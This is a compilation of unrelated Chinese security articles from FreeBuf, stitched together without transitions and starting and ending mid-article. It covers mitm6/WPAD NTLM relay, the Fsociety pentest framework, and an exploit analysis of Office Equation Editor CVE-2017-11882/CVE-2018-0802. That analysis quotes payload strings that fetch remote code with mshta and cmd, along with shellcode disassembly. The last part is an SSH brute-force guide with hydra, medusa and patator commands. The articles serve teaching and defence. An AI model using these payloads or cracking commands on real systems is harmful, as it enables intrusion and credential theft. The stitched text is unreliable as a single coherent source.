mitm6将会应答这些DHCPv6请求,并为受害者分配本地链路范围内的IPv6地址。而在实际的IPv6网络中,这些地址由主机本身自动分配,不需要由DHCP服务器来配置,这使得我们有机会将攻击者IP设置为受害者的默认IPv6 DNS服务器。需要注意的是,mitm6目前只针对基于Windows的操作系统,因为像macOS和Linux等其他操作系统,不使用DHCPv6来分配DNS服务器。

mitm6不会对外宣称自己是网关,因此主机不会尝试与本地网段或VLAN之外的IPv6主机进行通信。mitm6也不会尝试对网络中所有流量的中间人,而是选择性地欺骗主机(在运行mitm6时可以指定过滤的域),这样做也减少了对网络造成的影响。

以下截图显示了mitm6的攻击过程。该工具自动检测攻击者计算机的IP配置,并以包含攻击者IP作为DNS服务器的DHCPv6应答回复网络中客户端发送的DHCPv6请求。它将周期性的发送通告路由器(RA)消息来提醒客户端存在IPv6网络,并且客户端应该通过DHCPv6请求IPv6地址。这在某些情况下会加快攻击速度,但这并不是必须要做的工作,我们可以在具有SLAAC攻击防护的网络上执行此攻击。

MITM6:用IPv6攻陷IPv4网络的工具

攻击阶段2 – DNS欺骗

在受害者机器上,我们看到我们的服务器被配置为了DNS服务器。由于Windows对IP协议的偏好,IPv6 DNS服务器将优于IPv4 DNS服务器。IPv6 DNS服务器将会 被用于查询A(IPv4)和AAAA(IPv6)记录。

MITM6:用IPv6攻陷IPv4网络的工具

接着我们要做的是让客户端连接到攻击者机器,我们的最终目标是让用户或浏览器自动向攻击者机器进行身份验证,这就是为什么我们要欺骗内部域testsegment.local中URL的原因。在步骤1的截图中你可以看到,客户端在分配了IPv6地址后立即开始请求有关wpad.testsegment.local的信息。这是我们在这次攻击当中将要利用的一部分。

WPAD利用

WPAD利用的简短史

Windows代理自动检测功能一直以来都存在着巨大争议,而且多年来一直被渗透测试人员所利用。它本意的用途是用于在企业环境中自动检测用于连接到互联网的网络代理。历史上,提供wpad.dat文件的服务器地址(提供这些信息)将使用DNS解析,如果没有条目返回,地址将通过不安全的广播协议解析,如链路本地多播名称解析 (LLMNR)。攻击者可以回复这些广播名称解析协议并对其进行欺骗,让其认为WPAD文件位于攻击者服务器上,然后提示进行身份验证以访问WPAD文件。这种认证是Windows默认提供的,无需用户交互。这将会向攻击者提供登录在该计算机上的用户的NTLM凭据,可被用于在NTLM中继的过程中对服务进行认证。

然而在2016年微软发布了安全公告MS16-077,通过增加两项重要的保护措施来缓解这一攻击:

WPAD文件的位置不再需要通过广播协议请求,而只能通过DNS;

即使服务器请求,也不会自动进行认证。

虽然在网络中,我们仍能碰到一些未完全修复的机器仍在通过LLMNR请求WPAD并自动进行认证,但我们也发现越来越多的公司开始开始注意到了这点并进行了很好的改善。

MS16-077之WPAD的利用

针对微软的第一个安全措施仅通过DNS,mitm6可以帮助我们轻松绕过。一旦受害者机器将攻击者设置为IPv6 DNS服务器,它将开始查询网络的WPAD配置。由于这些DNS查询被发送给了攻击者,它只能用自己的IP地址(是IPv4或IPv6取决于受害者机器请求的是什么)进行回复。

要想绕过第二个防护,我们需要做一些更复杂的操作。当受害者请求一个WPAD文件时,我们将不会请求验证,而是提供一个攻击者机器上设置作为代理的有效的WPAD文件。此时,当受害者运行任何使用Windows API连接到互联网的应用程序或是浏览网页,都将使用攻击者机器作为代理。这在Edge,Internet Explorer,Firefox和Chrome中都可以使用,因为默认情况下它们都遵循WPAD系统设置。

现在当受害者连接到我们的代理服务器,我们可以通过CONNECT HTTP或GET后的完整URI识别,我们使用HTTP 407代理身份验证进行回复。这与通常用于请求验证的HTTP代码HTTP 401不同。

IE/Edge和Chrome(使用IE设置)将自动向代理进行身份验证,即使在最新的Windows版本上也是如此。在Firefox中,可以对该配置进行设置,默认情况下是启用状态。

MITM6:用IPv6攻陷IPv4网络的工具

此时,Windows将会毫无防备的将NTLM challenge/response发送给攻击者,攻击者可以将其转发给不同的服务。通过这种中继攻击,攻击者可以对服务进行身份验证,访问网站和共享信息,如果受害者的权限足够大,攻击者甚至可以在计算机上执行代码,并接管整个Windows域。关于NTLM中继的相关内容,在我之前的博文中有过介,点击这里查看

完整的攻击

在前面的几节内容我对该类攻击做了一个大致的描述和解释。执行此攻击本身非常简单。首先我们启动mitm6,它将开始中继DHCPv6请求,然后开始在内部网络中向DNS查询请求名称。在攻击的第二部分,我们将使用到中继工具ntlmrelayx。这个工具是Core Security impacket Python库的一部分,是smbrelayx工具的一个改进版支持多种协议。Core Security和Fox-IT最近共同改进了ntlmrelayx,增加了几项新功能(其中包括)使其能够通过IPv6进行中继,提供WPAD文件,自动检测代理请求并提示受害者进行正确的身份验证。如果你想进一步的了解这些新功能,请点击relay-experimental分支查看。

要提供WPAD文件,我们需要在命令提示符中-wh参数后添加主机,并指定WPAD文件所在的主机。由于mitm6让我们可以控制DNS,因此受害网络中的任何不存在的主机名都可以执行。为了确保ntlmrelayx在IPv4和IPv6上侦听,我们可以使用-6参数。以下截图为我们展示了两个工具当前的运行情况,显示了两个工具正在运行,mitm6有选择地欺骗DNS回复,ntlmrelayx服务于WPAD文件,然后将身份验证转发到网络中的其它服务器。

MITM6:用IPv6攻陷IPv4网络的工具

MITM6:用IPv6攻陷IPv4网络的工具

防御和解决方案

对于上述的这类攻击,目前唯一的解决办法是禁用IPv6。这将阻止Windows客户端DHCPv6服务器查询,并使攻击者无法通过上述方法接管DNS服务器。

对于WPAD漏洞,最好的解决方案是通过组策略禁用代理自动检测功能。如果您的公司内部使用代理配置文件(PAC文件),建议显式配置PAC网址,而不是依靠WPAD自动检测。

在写这篇博文时,Google的Project Zero团队也发现了WPAD中的漏洞,其博文中提到禁用WinHttpAutoProxySvc是禁用WPAD的唯一可靠方式。

最后,阻止NTLM中继的唯一完整解决方案是完全禁用它并切换到Kerberos。更多关于NTLM中继攻击的解决方案可以参考我们之前的博文。

工具获取

文中提及的相关工具可在Fox-IT GitHubimpacket repository获取。

*参考来源:fox-it,FB小编 secist 编译,转载请注明来自FreeBuf.COM

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

*本文作者:2cat,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

Fsociety是一款最新的渗透测试框架,可以帮助各位兄弟在安全测试过程中拥有变身成黑客所需要的各种姿势脚本。

 这个工具刚刚出现,目前大概分为以下9类,后续还会更新其他几类(Shell Checker,POET,Weeman)

 (一)  菜单

信息收集

密码攻击

无线测试

渗透工具

嗅探和欺骗

Web Hacking

Private Web Hacking

后期开发

安装和更新

(二)  信息收集

NMAP

Setoolkit

Host To IP

WPScan

CMS扫描仪

XSStrike

Dork – Google Dorks被动漏洞审计

(三)  密码攻击

Cupp

Ncrack

(四)  无线测试

Reaver

Pixiewps

Bluetooth蜜罐

(五)  渗透工具

ATSCAN

sqlmap

Shellnoob

commix

FTP Auto Bypass

JBoss Autopwn

(六)  嗅探和欺骗

Setoolkit

SSLtrip

pyPISHER

SMTP邮件程序

(七)  网络黑客

Drupal Hacking

Inurlbr

WordPress和Joomla扫描

Gravity Form Scanner

文件上传检查工具

WordPress利用扫描工具

WordPress插件扫描工具

Shell and Directory Finder

Joomla!1.5 – 3.4.5远程代码执行

Vbulletin 5.X远程代码执行

BruteX – Automatically brute force all services running on a target

Arachni – Web应用程序安全扫描程序框架

(八)  Private Web Hacking

获取所有网站

获取joomla网站

获取WordPress的网站

Control Panel Finder

Zip Files Finder

Upload File Finder

Get server users

SQli Scanner

Ports Scan (range of ports)

ports Scan (common ports)

Get server Info

Bypass Cloudflare

(九)  后期开发

Shell Checker

POET

Weeman

下面介绍一下具体使用的方式方法,。

 由于此款安全测试框架暂时为beta版本,初次使用会存在一此小问题,本人已经做了小白鼠,给大家把坑趟了一遍,为各位兄弟减少一些试错成本,有不完善的地方还请多多包涵。

 https://github.com/thehappydinoa/fsociety    //直接下载略过

root@2cats:~/fsociety# ./install.sh   //安装

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

提示安装失败,经检查发现安装源文件网址有误,如下图。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

第一个坑,后期顺利完成安装。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

直接fsociety启动框架程序。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

下面我们选择2个功能简单测试一下,是否好用。

以Nmap为例,Pentest前期大家经常用到的工具。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

我们测试一下Nmap简单扫描功能(选择1)

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

输入要扫描的目标IP地址,子网,网段,主机。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

注意:

第二个坑,nmap自动生成的日志文件nmap-2018-01-15_03:19:31不能写入,初步判断应该是没有logs目录,果断在当前目录下创建个logs文件夹(mkdir logs)。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

解决办法:

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

再次执行可以正常打印并输出端口信息,收集信息如下图。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

下面我再测试一个模块,XSStrike相信有很多人应该也会用到,就是各种xss扫描。初次使用会直接下载安装此模块。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

下面测试具体使用情况。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

我们随便找个web站点测试一下xsstrike,是否可以正常使用。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

测试结果正常,可以xss的模糊测试,发现3个反射xss漏洞。

2018最新款渗透测试框架,Fsociety搞定各种姿势脚本

好了,这次就分享就到此了。

 Fsociety毕竟还是一个beta版本,此框架中的部分模块还会存在一些各种各样的小BUG,在后面的使用过程中可能会陆续出现,但总体来说还是非常不错,使用起来很方便。给大家抛砖引玉一下,有兴趣的小伙伴可以继续研究,有了新发现一起分享。

*本文作者:2cat,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

“束发少年”EQNEDT32的陨落

前言

由非正经分析人员在非工作时间以非常规角度描述的非真实故事。

惹上麻烦

近期,Microsoft office一家人惹上大麻烦了,都是收养的小儿子”EQNEDT32″搞的,警察局的人都上门找好几次了,到底是为啥呢?这还得从去年的”CVE-2017-11882″事件说起。

2017年7月某天,隔壁Embedi家的老王发现”EQNEDT32″这小子大半夜翻墙出去直到凌晨天刚亮才回来,而且衣服脏脏烂烂,这件事其实并没有引起老王太大的注意,但不巧的是,这情况一直持续好几周,老王最终还是决定告诉”office”一家之长——老软。

老软这个人其实是一个很不错的商人,但仅此而已,他马上找到“EQNEDT32”一问究竟,“EQNEDT32”也很老实,直接告诉老软”最近在研究密室进入这个技术,也就是如何在大门紧锁且没有钥匙的情况下进去把门开开“。老软一乐,”ORz,养了这么大,终于看到儿子能在放学之后除了看书还能有点别的兴趣爱好了“,“那你啥想法,为啥大半夜出去?”老软疑惑问道。

”哦,我的软die,可以用铲子挖洞进去啊,我最近就在挖咱家那窗户店,大白天要上课,所以晚上去挖,呵呵“,

”卧槽,你这不是坑你爹吗,那你挖的咋样啊?“,

”已经挖通了,就等写结题报…“,顾不得听完儿子的话,老软赶紧开车去店铺查看情况。

从CVE-2017-11882 事件说起

二十分钟的车程这次只开了十二分钟就到了,到店一看,大门敞开,收银台、保险柜连着墙皮被撬走,窗户啥的倒是都在,损失怕不是有点大咯,赶紧报警,警察同志以神速给出了案件的通报,如下:

法医鉴定报告:

“EQNEDT32”可能是服用了某种不正常的药物——CVE-2017-11882,关键成分”Equation Native”,其结构如下图,MTEF Byte Stream部分给出的是MTEF V.3版的FONT record结构,因为出问题的就在这个结构。

“束发少年”EQNEDT32的陨落

在未征得老软的同意,强行对”EQNEDT32″大脑进行了解剖(还活着),抱歉。发现其处理字体结构时存在问题  

“束发少年”EQNEDT32的陨落

处理链 sub_4214C6 -> sub_4115A7 -> sub_41160F,由于栈上变量vul_val大小只有0×24 = 36字节,即使算上v13,old_ebp也只有44个字节,那么当长度足够长的字体名称(font name) > 44个字节则会覆盖掉返回地址,造成栈缓冲区溢出,轻则心理扭曲,重则走上不归路(原来的返回地址被覆盖了,想回也不好回啊)。  

“束发少年”EQNEDT32的陨落

刑侦科报告:

通过医学科的报告,知道EQNEDT32这小子是存在严重问题,并且作为家长的老软也没有给孩子讲授比较关键的<青少年预防犯罪心理疏导>课程,比如 ASLR、DEP、GS啥啥的,使得EQNEDT32长期处于裸奔的状态。通过对样品(POC)的分析,如下: 

“束发少年”EQNEDT32的陨落

“束发少年”EQNEDT32的陨落

知道问题原因后,警察叔叔通过高科技,锁定了三种有问题的药制品厂家,他们负责人的供词如下:

厂A: 没有啊,那个font name给的 cmd http://a.b/c ,其他人吃着没事啊

厂B: 别瞎说,我们是正规企业,font name参入了mshta http://a.b/c而已

厂C: 怎么会,cmd.exe /c %temp%/a.tmp 也有问题吗,ole自动释放的不怪我们啊最后结论: EQNEDT32 自身存在问题,药品只对他造成了严重影响,其他未见到有消费者反馈,店铺被偷主要还是EQNEDT32挖的洞造成犯罪人员有机可乘,负主要责任,目前警方仍在侦破中…

看完通报,老软很生气啊,一来自己对孩子没有教育好,导致孩子吃药还能把脑子吃坏,二来,这店铺的案件怕是得费很久时间还不一定能把犯罪人员抓回来,就算抓回来钱大概也是没了。

一首<凉凉>听完,老软决定还是得给儿子进行二次教育,把错过的<青少年预防犯罪心理疏导>课程给儿子上完,但毕竟儿子都这么大了,回炉重造怕是很难,儿子听完ASLR之后就烦了,坚决不听课了,再说跳楼,虽然老软知道儿子说的楼就是台阶(20CM高),但也不舍得啊,所以也就不再强迫。

当然, EQNEDT32也学乖了,并且听了老软的话,他也有了一些变化,一是他学习了ASLR,自身有了一定的抗性(能学会还得亏有重定位表,然后DLLCharacteristics字段设置为0×40即可),同时“解剖”也不是白做的,医学科老教授给他patch了下脑子,现在就可以可以抵抗CVE-2017-11882,想想也开心。

“束发少年”EQNEDT32的陨落

当然,事情如果到这里结束,怕和”陨落“没有半毛关系,所以下面还得搞些事情。

转折

老软也觉得儿子是真的变好了,逐渐将自己的心思放在了自家的窗户店的经营上,为了避免出现上次店被偷, 他特意请了一个打杂的,专门负责晚上值夜班,生意也渐渐有了起色,几个月相安无事。

某天清早,天还没亮,手机突然急匆匆响起来,老软以为闹钟,直接关掉,倒头再睡,没多久,座机又响了,一边骂着”mmp“,一边挪着身体去关座机,抬起电话准备扣下的时候,瞄到来电显示是999,赶紧清醒起来抬手说”喂,我是老软,警察叔叔找我啥事?“ ,”来趟公安局吧,你儿子又出事了“,话音刚毕,老软已经开车在路上了。

接CVE-2018-0802 事件

到公安局门口才发现,有一堆人在门口,不知谁喊了一句,一伙人把老软给围了起来,要不是有警察叔叔保护,怕老软就真的软了,长官李Sir告诉他,”昨夜,商业街整条街道全部被偷,就你家店铺好着,同时监控显示,你儿子’EQNEDT32′在商业街转悠了一晚上,已经被拘留,但不幸的是,他刚被逮捕没多久,就失去意识,可能有生命危险,目前已经紧急进行了手术,目前医生给出的解释是疑似CVE-2018-0802中毒,你看下这个报告吧。

医学诊断说明(分析报告)

“束发少年”EQNEDT32的陨落

在sub_421E39逻辑中,直接将font Name拷贝到sub_421774栈中,其变量lf的大小为0xAC共172字节,但复制时从+0x1C处开始,所以有0xAC-0x1C为144字节,算上old_ebp有148字节,所以当font name大于148字节时,会造成返回地址覆盖,造成栈溢出。 

“束发少年”EQNEDT32的陨落

通过对身体内残留药物(POC)的分析下,数据如下图, 

“束发少年”EQNEDT32的陨落

其中蓝色选中数据即为font name的字段,长度为148,红色选中为需要覆盖的返回地址,但由于strcpy复制时会遇到/x00结束,所以实际修改了原始地址的低16位,为什么会选择0x0025 呢?因为EQNEDT32没有开启DEP,而且返回地址后有一个font name的指针,那么可通过找到一个ret指令地址,使得eip指向font name 直接执行shellcode了,以此绕过ASLR防护,那这个ret指令的寻找受到了限制(受限于原返回地址),其只能从rva范围0×20000 ~ 0x200FF寻找,不巧这个值有且只有一个,位于rva = 0x20025 ,故取0×0025。 

“束发少年”EQNEDT32的陨落

既然能够执行任意shellcode(目前长度148还行,内存里面其实还可以再跳一跳,这就很长了),那当然八仙过海各显神通了。该POC实现的依然是跳入winexec执行cmd,启动因OLE缓存机制事先放在%temp%下的PE文件。 

                         xor eax,eax
                         push eax
0034ee5f 8d442452        lea     eax,[esp+52h]
0034ee63 50              push    eax
0034ee64 eb1d            jmp     0034ee83
0034ee83 90              nop
0034ee84 90              nop
0034ee85 90              nop
0034ee86 8b44242c        mov     eax,dword ptr [esp+2Ch] ss:002b:0034ee3c=013db463
0034ee8a 662d51a8        sub     ax,0A851h
0034ee8e ffe0            jmp     eax {EqnEdt32!MFEnumFunc+0x2415 (013d0c12)}
013d0c12 ff151c684001    call    kernel32!WinExec

当然,也观察到有部分样本通过枚举kernel32模块的导出表,查找ExpandEnvironmentStringsA、CopyFileA、ExitProcess函数,将%temp%下携带的office恶意插件放入word的自启动路径中(把窃听器丢入你家门口啊)。

......
00908996 ffd6            call    esi        ;ExpandEnvironmentStringsA
00908998 68ff000000      push    0FFh
0090899d 81eb00010000    sub     ebx,100h
009089a3 53              push    ebx
009089a4 83c710          add     edi,10h
009089a7 57              push    edi
009089a8 ffd6            call    esi
009089aa 8d8300010000    lea     eax,[ebx+100h]
009089b0 6a00            push    0
009089b2 53              push    ebx
009089b3 50              push    eax
009089b4 ff57e8          call    dword ptr [edi-18h] ;CopyFileA
009089b7 6a00            push    0
009089b9 ff57e4          call    dword ptr [edi-1Ch] ;ExitProcess

“束发少年”EQNEDT32的陨落

老软看到这里,心里凉了一半,这小子咋就老犯病呢,这时,李sir跑过来,看起来很捉急,“老软,先冷静一下,我有个不好的消息告诉你,那就是你家’EQNEDT32′快不行了,医生准备2次patch这小子脑子的时候,存在意见分歧,争吵了半个小时,最后决定不patch了,但很遗憾,这小子已经凉了,是医疗事故,赔偿应该没问题的,你要…”话还没说完,老软头犯晕昏过去了。

后记

事情已经过去快一周了,老软早恢复了,窗户店依旧开着,日子也和平常一般过着.邻居老王最近生病了,病的不轻,有传言说”EQNEDT32″是老王的儿子,但这又能怎么样?毕竟人已经没了。

有问题的药(IOC)

C22937CEE87B45BA18C16318533648FB37BF2DF225650B39C9874ECF392A9A9B8E8C2B4AA6C35686945C074306DB041EE27E9C455CBB9F9E5FB65597791FF33A

REF

Equation Native格式参考

https://stackoverflow.com/questions/15320088/parse-mathtype-mtef-data-from-ole-binary-string

MTEF v3的介绍

http://rtf2latex2e.sourceforge.net/MTEF3.html

管家写的<黑凤梨>一篇

http://www.freebuf.com/column/159865.html

微软发的公告

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802

*本文作者:YLLEN、南瓜小哥 @金山毒霸安全实验室,转载请注明来自FreeBuf.COM

Linux SSH密码暴力破解技术及攻防实战

*本文原创作者:simeon,本文属FreeBuf原创奖励计划,未经许可禁止转载

对于Linux操作系统来说,一般通过VNC、Teamviewer和SSH等工具来进行远程管理,SSH是 Secure Shell的缩写,由IETF的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。

利用SSH协议可以有效防止远程管理过程中的信息泄露问题。SSH客户端适用于多种平台,几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台都可运行SSH。Kali Linux渗透测试平台默认配置SSH服务。SSH进行服务器远程管理,仅仅需要知道服务器的IP地址、端口、管理账号和密码,即可进行服务器的管理,网络安全遵循木桶原理,只要通过SSH撕开一个口子,对渗透人员来时这将是一个新的世界。

本文对目前流行的ssh密码暴力破解工具进行实战研究、分析和总结,对渗透攻击测试和安全防御具有一定的参考价值。

一、SSH密码暴力破解应用场景和思路  

1.应用场景

(1)通过Structs等远程命令执行获取了root权限。

(2)通过webshell提权获取了root权限

(3)通过本地文件包含漏洞,可以读取linux本地所有文件。

(4)获取了网络入口权限,可以对内网计算机进行访问。

(5)外网开启了SSH端口(默认或者修改了端口),可以进行SSH访问。

在前面的这些场景中,可以获取shadow文件,对其进行暴力破解,以获取这些账号的密码,但在另外的一些场景中,无任何漏洞可用,这个时候就需要对SSH账号进行暴力破解。

2.思路

(1)对root账号进行暴力破解

(2)使用中国姓名top1000作为用户名进行暴力破解

(3)使用top 10000 password字典进行密码破解

(4)利用掌握信息进行社工信息整理并生成字典暴力破解

(5)信息的综合利用以及循环利用

二、使用hydra暴力破解SSH密码

hydra是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大。在网络安全渗透过程中是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。

1.简介

hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和kali等渗透平台收录,除了命令行下的hydra外,还提供了hydragtk版本(有图形界面的hydra),官网网站:http://www.thc.org/thc-hydra,目前最新版本为7.6下载地址:http://www.thc.org/releases/hydra-7.6.tar.gz,它可支持AFP,Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, uHTTP-FORM-GET,HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP,NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES,RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH(v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

2.安装

(1)Debian和Ubuntu安装

如果是Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装:

sudo apt-get install libssl-dev libssh-devlibidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-devfirebird2.1-dev libncp-dev hydra

Redhat/Fedora发行版的下载源码包编译安装,先安装相关依赖包:

yum install openssl-devel pcre-develncpfs-devel postgresql-devel libssh-devel subversion-devel

(2)centos安装

# tar zxvf hydra-7.6-src.tar.gz

# cd hydra-6.0-src

# ./configure

# make

# make install

3.使用hydra

BT5和kali都默认安装了hydra,在kali中单击“kali Linux”-“Password Attacks”-“Online Attacks”-“hydra”即可打开hydra。在centos终端中输入命令/usr/local/bin/hydra即可打开该暴力破解工具,除此之外还可以通过hydra-wizard.sh命令进行向导式设置进行密码破解,如图1所示。

Linux SSH密码暴力破解技术及攻防实战

图1使用hydra-wizard.sh进行密码破解

如果不安装libssh,运行hydra破解账号时会出现错误,如图2所示,显示错误提示信息:[ERROR]Compiled without LIBSSH v0.4.x support, module is not available! 在centos下依次运行以下命令即可解决:

yum install cmake

wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz    

tar zxf libssh-0.4.8.tar.gz

cd libssh-0.4.8

mkdir build

cd build

cmake -DCMAKE_INSTALL_PREFIX=/usr-DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..    

make    

make install

cd /test/ssh/hydra-7.6  (此为下载hydar解压的目录)

make clean

./configure

make

make install

Linux SSH密码暴力破解技术及攻防实战

图2 出现libssh模块缺少错误

4、hydra参数详细说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-PFILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-wTIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46][service://server[:PORT][/OPT]]

-l LOGIN 指定破解的用户名称,对特定用户破解。

-L FILE 从文件中加载用户名进行破解。

-p PASS小写p指定密码破解,少用,一般是采用密码字典。

-P FILE 大写字母P,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-t TASKS 同时运行的连接的线程数,每一台主机默认为16。

-M FILE 指定服务器目标列表文件一行一条

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-v / -V 显示详细过程。

-R 继续从上一次进度接着破解。

-S 采用SSL链接。

-s PORT 可通过这个参数指定非默认端口。

-U      服务模块使用细节

-h      更多的命令行选项(完整的帮助)

server   目标服务器名称或者IP(使用这个或-M选项)

service  指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysqloracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icqsapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT      一些服务模块支持额外的输入(-U用于模块的帮助)

4.破解SSH账号

破解SSH账号有两种方式,一种是指定账号破解,一种是指定用户列表破解。详细命令如下:

(1)hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

例如输入命令“hydra -l root  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”对IP地址为“192.168.44.139”的root账号密码进行破解,如图3所示,破解成功后显示其详细信息。

“hydra -l root  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh ”将扫描结果保存在save.log文件中,打开该文件可以看到成功破解的结果,如图4所示。

Linux SSH密码暴力破解技术及攻防实战 

图3破解SSH账号

Linux SSH密码暴力破解技术及攻防实战

图4查看破解日志

三、使用Medusa暴力破解SSH密码

1. Medusa简介

Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于hydra 要好很多,但其支持模块要比 hydra 少一些。 Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),

NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP

(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具,官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。目前最新版本2.2,美中不足的是软件从2015年后未进行更新,kali默认自带该软件,软件下载地址:

https://github.com/jmk-foofus/medusa

https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz

2.安装medusa

(1)git克隆安装

git clonehttps://github.com/jmk-foofus/medusa.git

(2)手动编译和安装medusa

./configure

make

make install

安装完成后,会将medusa的一些modules 文件复制到/usr/local/lib/medusa/modules文件夹。

3.Medusa参数

Medusa [-hhost|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module[OPT]

-h [TEXT]      目标主机名称或者IP地址

-H [FILE]      包含目标主机名称或者IP地址文件

-u [TEXT]      测试的用户名

-U [FILE]      包含测试的用户名文件

-p [TEXT]      测试的密码

-P [FILE]      包含测试的密码文件

-C [FILE]      组合条目文件

-O [FILE]      日志信息文件

-e [n/s/ns]    n代表空密码,s代表为密码与用户名相同

-M [TEXT]      模块执行名称

-m [TEXT]      传递参数到模块

-d             显示所有的模块名称

-n [NUM]       使用非默认Tcp端口

-s             启用SSL

-r [NUM]       重试间隔时间,默认为3秒

-t [NUM]       设定线程数量

-T    同时测试的主机总数

-L             并行化,每个用户使用一个线程

-f             在任何主机上找到第一个账号/密码后,停止破解

-F            在任何主机上找到第一个有效的用户名/密码后停止审计。

-q             显示模块的使用信息

-v [NUM]       详细级别(0-6)

-w [NUM]       错误调试级别(0-10)

-V             显示版本

-Z [TEXT]      继续扫描上一次

4.破解单一服务器SSH密码

(1)通过文件来指定host和user,host.txt为目标主机名称或者IP地址,user.txt指定需要暴力破解的用户名,密码指定为password

./medusa -M ssh -H host.txt -U users.txt -p password

(2)对单一服务器进行密码字典暴力破解

  如图5所示,破解成功后会显示success字样,具体命令如下:

medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt

Linux SSH密码暴力破解技术及攻防实战

图5破解SSH口令成功

如果使用Cltrl+Z结束了破解过程,则还可以根据屏幕提示,在后面继续恢复破解,在上例中恢复破解,只需要在命令末尾增加“-Z h1u1.”即可。也即其命令为:

medusa -M ssh -h192.168.157.131 -u root -P newpass.txt -Z h1u1.

5.破解某个IP地址主机破解成功后立刻停止,并测试空密码以及与用户名一样的密码

medusa -M ssh -h 192.168.157.131 -u root-P /root/newpass.txt -e ns -F

执行效果如图6所示,通过命令查看字典文件newpass.txt,可以看到root密码位于第8行,而在破解结果中显示第一行就破解成功了,说明先执行了“-e ns”参数命令,对空密码和使用用户名作为密码来进行破解。

Linux SSH密码暴力破解技术及攻防实战

图6使用空密码和用户名作为密码进行破解

技巧:加-O  ssh.log 可以将成功破解的记录记录到ssh.log文件中。

四、使用patator暴力破解SSH密码

1.下载并安装patator

git clone https://github.com/lanjelot/patator.git

cd patator

python setup.py install

2.使用参数

执行./patator.py即可获取详细的帮助信息

Patator v0.7(https://github.com/lanjelot/patator)

Usage: patator.py module –help

可用模块:

  + ftp_login     : 暴力破解FTP

  +ssh_login     : 暴力破解 SSH

  +telnet_login  : 暴力破解 Telnet

  +smtp_login    : 暴力破解 SMTP

  +smtp_vrfy     : 使用SMTP VRFY进行枚举

  +smtp_rcpt     : 使用 SMTP RCPTTO枚举合法用户

  +finger_lookup : 使用Finger枚举合法用户

  +http_fuzz     : 暴力破解 HTTP

  +ajp_fuzz      : 暴力破解 AJP

  +pop_login     : 暴力破解 POP3

  +pop_passd     : 暴力破解 poppassd(http://netwinsite.com/poppassd/)

  +imap_login    : 暴力破解 IMAP4

  +ldap_login    : 暴力破解 LDAP

  +smb_login     : 暴力破解 SMB

  +smb_lookupsid : 暴力破解 SMB SID-lookup

  +rlogin_login  : 暴力破解 rlogin

